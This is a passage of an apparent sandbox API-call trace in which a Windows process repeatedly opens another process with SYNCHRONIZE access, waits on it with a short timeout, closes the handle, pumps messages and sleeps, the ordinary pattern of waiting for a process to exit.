(hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.416] CloseHandle (hObject=0x2f8) returned 1 [0243.416] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.416] Sleep (dwMilliseconds=0x1) [0243.432] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.432] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.454] CloseHandle (hObject=0x2f8) returned 1 [0243.454] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.454] Sleep (dwMilliseconds=0x1) [0243.463] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.463] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.479] CloseHandle (hObject=0x2f8) returned 1 [0243.479] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.479] Sleep (dwMilliseconds=0x1) [0243.494] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.494] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.510] CloseHandle (hObject=0x2f8) returned 1 [0243.510] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.510] Sleep (dwMilliseconds=0x1) [0243.525] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.526] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.541] CloseHandle (hObject=0x2f8) returned 1 [0243.541] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.541] Sleep (dwMilliseconds=0x1) [0243.557] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.557] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.576] CloseHandle (hObject=0x2f8) returned 1 [0243.576] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.576] Sleep (dwMilliseconds=0x1) [0243.588] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.588] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.603] CloseHandle (hObject=0x2f8) returned 1 [0243.604] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.604] Sleep (dwMilliseconds=0x1) [0243.626] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.626] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.635] CloseHandle (hObject=0x2f8) returned 1 [0243.635] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.635] Sleep (dwMilliseconds=0x1) [0243.651] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.651] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.666] CloseHandle (hObject=0x2f8) returned 1 [0243.666] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.666] Sleep (dwMilliseconds=0x1) [0243.683] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.683] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.719] CloseHandle (hObject=0x2f8) returned 1 [0243.719] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.720] Sleep (dwMilliseconds=0x1) [0243.728] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.728] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.762] CloseHandle (hObject=0x2f8) returned 1 [0243.762] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.762] Sleep (dwMilliseconds=0x1) [0243.778] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.778] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.791] CloseHandle (hObject=0x2f8) returned 1 [0243.791] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.791] Sleep (dwMilliseconds=0x1) [0243.813] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.813] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.822] CloseHandle (hObject=0x2f8) returned 1 [0243.823] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.823] Sleep (dwMilliseconds=0x1) [0243.838] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.838] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.854] CloseHandle (hObject=0x2f8) returned 1 [0243.854] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.854] Sleep (dwMilliseconds=0x1) [0243.869] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.869] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.902] CloseHandle (hObject=0x2f8) returned 1 [0243.902] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.902] Sleep (dwMilliseconds=0x1) [0243.916] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.916] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.938] CloseHandle (hObject=0x2f8) returned 1 [0243.938] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.938] Sleep (dwMilliseconds=0x1) [0243.947] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.947] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.963] CloseHandle (hObject=0x2f8) returned 1 [0243.963] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.963] Sleep (dwMilliseconds=0x1) [0243.979] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0243.979] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0243.995] CloseHandle (hObject=0x2f8) returned 1 [0243.995] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0243.995] Sleep (dwMilliseconds=0x1) [0244.012] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.012] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.026] CloseHandle (hObject=0x2f8) returned 1 [0244.026] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.026] Sleep (dwMilliseconds=0x1) [0244.041] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.041] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.057] CloseHandle (hObject=0x2f8) returned 1 [0244.057] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.057] Sleep (dwMilliseconds=0x1) [0244.088] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.088] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.104] CloseHandle (hObject=0x2f8) returned 1 [0244.104] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.104] Sleep (dwMilliseconds=0x1) [0244.119] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.119] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.135] CloseHandle (hObject=0x2f8) returned 1 [0244.145] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.145] Sleep (dwMilliseconds=0x1) [0244.153] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.153] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.166] CloseHandle (hObject=0x2f8) returned 1 [0244.166] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.166] Sleep (dwMilliseconds=0x1) [0244.183] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.183] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.197] CloseHandle (hObject=0x2f8) returned 1 [0244.197] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.197] Sleep (dwMilliseconds=0x1) [0244.216] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.216] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.229] CloseHandle (hObject=0x2f8) returned 1 [0244.229] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.229] Sleep (dwMilliseconds=0x1) [0244.244] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.244] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.260] CloseHandle (hObject=0x2f8) returned 1 [0244.260] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.260] Sleep (dwMilliseconds=0x1) [0244.276] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.276] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.300] CloseHandle (hObject=0x2f8) returned 1 [0244.300] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.300] Sleep (dwMilliseconds=0x1) [0244.307] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.307] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.322] CloseHandle (hObject=0x2f8) returned 1 [0244.322] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.322] Sleep (dwMilliseconds=0x1) [0244.341] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.341] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.360] CloseHandle (hObject=0x2f8) returned 1 [0244.360] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.361] Sleep (dwMilliseconds=0x1) [0244.383] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.405] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.416] CloseHandle (hObject=0x2f8) returned 1 [0244.416] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.416] Sleep (dwMilliseconds=0x1) [0244.433] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.433] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.447] CloseHandle (hObject=0x2f8) returned 1 [0244.447] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.447] Sleep (dwMilliseconds=0x1) [0244.465] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.465] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.480] CloseHandle (hObject=0x2f8) returned 1 [0244.480] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.480] Sleep (dwMilliseconds=0x1) [0244.494] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.494] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.510] CloseHandle (hObject=0x2f8) returned 1 [0244.510] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.510] Sleep (dwMilliseconds=0x1) [0244.526] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.526] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.561] CloseHandle (hObject=0x2f8) returned 1 [0244.561] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.561] Sleep (dwMilliseconds=0x1) [0244.577] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.589] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.635] CloseHandle (hObject=0x2f8) returned 1 [0244.635] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.635] Sleep (dwMilliseconds=0x1) [0244.646] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.646] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.678] CloseHandle (hObject=0x2f8) returned 1 [0244.678] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.678] Sleep (dwMilliseconds=0x1) [0244.695] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.695] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.711] CloseHandle (hObject=0x2f8) returned 1 [0244.711] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.711] Sleep (dwMilliseconds=0x1) [0244.726] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.726] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.746] CloseHandle (hObject=0x2f8) returned 1 [0244.746] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.746] Sleep (dwMilliseconds=0x1) [0244.757] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.757] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.773] CloseHandle (hObject=0x2f8) returned 1 [0244.773] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.773] Sleep (dwMilliseconds=0x1) [0244.790] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.790] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.805] CloseHandle (hObject=0x2f8) returned 1 [0244.806] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.806] Sleep (dwMilliseconds=0x1) [0244.820] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.820] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.844] CloseHandle (hObject=0x2f8) returned 1 [0244.863] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.863] Sleep (dwMilliseconds=0x1) [0244.867] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.867] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.883] CloseHandle (hObject=0x2f8) returned 1 [0244.883] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.883] Sleep (dwMilliseconds=0x1) [0244.902] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.902] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.914] CloseHandle (hObject=0x2f8) returned 1 [0244.914] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.914] Sleep (dwMilliseconds=0x1) [0244.929] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.929] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.945] CloseHandle (hObject=0x2f8) returned 1 [0244.945] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.945] Sleep (dwMilliseconds=0x1) [0244.962] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.962] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0244.976] CloseHandle (hObject=0x2f8) returned 1 [0244.976] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0244.976] Sleep (dwMilliseconds=0x1) [0244.992] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0244.992] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.019] CloseHandle (hObject=0x2f8) returned 1 [0245.020] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.020] Sleep (dwMilliseconds=0x1) [0245.023] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.023] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.054] CloseHandle (hObject=0x2f8) returned 1 [0245.054] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.054] Sleep (dwMilliseconds=0x1) [0245.070] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.070] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.086] CloseHandle (hObject=0x2f8) returned 1 [0245.086] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.086] Sleep (dwMilliseconds=0x1) [0245.103] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.103] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.117] CloseHandle (hObject=0x2f8) returned 1 [0245.117] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.117] Sleep (dwMilliseconds=0x1) [0245.133] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.134] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.148] CloseHandle (hObject=0x2f8) returned 1 [0245.148] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.148] Sleep (dwMilliseconds=0x1) [0245.164] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.164] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.180] CloseHandle (hObject=0x2f8) returned 1 [0245.180] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.180] Sleep (dwMilliseconds=0x1) [0245.195] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.195] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.211] CloseHandle (hObject=0x2f8) returned 1 [0245.211] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.211] Sleep (dwMilliseconds=0x1) [0245.226] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.226] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.242] CloseHandle (hObject=0x2f8) returned 1 [0245.242] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.242] Sleep (dwMilliseconds=0x1) [0245.257] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.257] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.273] CloseHandle (hObject=0x2f8) returned 1 [0245.283] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.283] Sleep (dwMilliseconds=0x1) [0245.289] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.289] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.305] CloseHandle (hObject=0x2f8) returned 1 [0245.305] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.305] Sleep (dwMilliseconds=0x1) [0245.343] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.343] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.351] CloseHandle (hObject=0x2f8) returned 1 [0245.351] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.351] Sleep (dwMilliseconds=0x1) [0245.367] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.367] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.393] CloseHandle (hObject=0x2f8) returned 1 [0245.393] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.393] Sleep (dwMilliseconds=0x1) [0245.398] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.398] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.414] CloseHandle (hObject=0x2f8) returned 1 [0245.414] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.414] Sleep (dwMilliseconds=0x1) [0245.434] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.434] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.445] CloseHandle (hObject=0x2f8) returned 1 [0245.445] PeekMessageW (in: lpMsg=0x362f800, 